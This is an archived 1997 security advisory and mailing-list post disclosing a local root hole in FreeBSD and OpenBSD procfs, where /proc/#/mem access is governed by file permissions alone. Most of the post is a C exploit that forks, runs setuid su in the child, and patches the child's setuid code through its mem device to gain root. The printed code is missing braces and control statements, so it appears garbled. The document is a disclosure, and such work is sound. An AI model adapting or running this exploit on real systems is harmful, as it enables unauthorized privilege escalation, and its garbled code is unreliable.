*BSD procfs forc() mem device hole

Description:Under the *BSD proc filesystem, /proc/#/mem access is controlled by the permissions on the file. Thus you can fork(), have the childe run something suid, and then modify that file's memory.
Author:Brian Mitchell <brian@FIREHOUSE.NET>
Compromise: root (local)
Vulnerable Systems:FreeBSD 2.2.1, probably 3.x. OpenBSD 2.1-RELEASE. Possibly BSDI.
Date:10 August 1997

Date: Sun, 10 Aug 1997 05:37:40 -0400
From: Brian Mitchell <brian@FIREHOUSE.NET>
Subject: procfs hole

There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected,
I have not tested 3.x but I believe it to be vulnerable as well) along
with OpenBSD (not tested by me, but by someone else -- believe it was
2.1-RELEASE although obsd doesnt mount procfs by default like freebsd

The problem is all proc/#/mem access is controlled by the permissions on
the file. This means you can fork() open the childs mem device and then
have the child execute a setuid executable. Once this is done, you can
modify the setuid executables memory -- even segments that are supposed to
be nonwritable can be modified. Enclosed is a simple exploit tested under
FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory
for a specific signature. Oh, you need to change your shell to a borneish
shell too, since csh/tcsh will not work when euid != ruid (unless passed
a -b script argument).

BSDI is also believed to be vulnerable. Unfortunately, not only is procfs
not mounted, it is not even in the GENERIC kernel.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

u_char search_code[13] = {
0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */

/* just do a xor %eax, %eax and then a ret */
u_char new_code[] = {
0x31, 0xc0, 0xc3};

main(int argc, char **argv)
        int pid;
        int fd;
        char buff[40];
        char *user;

        /* might need to tweak these */
        u_int offset=0x8003000;
        u_int offset_end = 0x8099000;

        if(argc < 2)
                fprintf(stderr, "%s user\n", argv[0]);
        printf("Demonstration of 4.4BSD procfs hole\n");
        printf("Brian Mitchell <brian@firehouse.net>\n\n");
        printf("after you see \"setuid changed\", enter the pw for the user\n");
        printf("\aBe warned, searching for the setuid() function takes a long time!\n");
        pid = fork();
                case -1:
                case 0:
                        /* give parent time to open /proc/pid/mem */
                        execl("/usr/bin/su", "su", user, NULL);
                        sprintf(buff, "/proc/%d/mem", pid);
                        fd = open(buff, O_RDWR);
                        if(fd < 0)
                                perror("open procmem");
                        /* wait for child to execute suid program */
                        /* stop the child */
                        kill(pid, 17);
                        printf("searching - please be patient...\n");
                        /* search for the setuid code */
                        while(offset != offset_end)
                                lseek(fd, offset, SEEK_SET);
                                read(fd, buff, 13);
                                if(!bcmp(buff, search_code, 13))
                                        lseek(fd, offset, SEEK_SET);
                                        write(fd, new_code, 3);
                                        printf("setuid changed (0x%x)\n", offset);
                                        /* sigcont child */
                                        kill(pid, 19);
                        printf("setuid not found!!\n");
                        kill(pid, 9);

Brian Mitchell                                  brian@firehouse.net
"BSD code sucks. Of course, everything else sucks far more."
- Theo de Raadt (OpenBSD President)

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